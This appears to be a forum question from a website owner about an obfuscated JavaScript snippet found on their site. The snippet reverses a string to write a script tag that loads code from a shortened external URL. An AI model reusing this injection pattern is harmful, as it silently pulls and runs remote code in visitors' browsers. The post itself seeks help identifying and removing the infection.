Javascript Malware Detected by Google Scanner

I recently came across the following code on my website

<script type=""text/javascript"">
document.write('>tpircs/<>""YWVPsGmx=i?http://ift.tt/1PCa5z5""=crs tpircs<'.split("""").reverse().join(""""))
</script>

What does this code do ? Am i a victim of XSS ? Is there anything my hosting company can do e.g malware scanner etc ?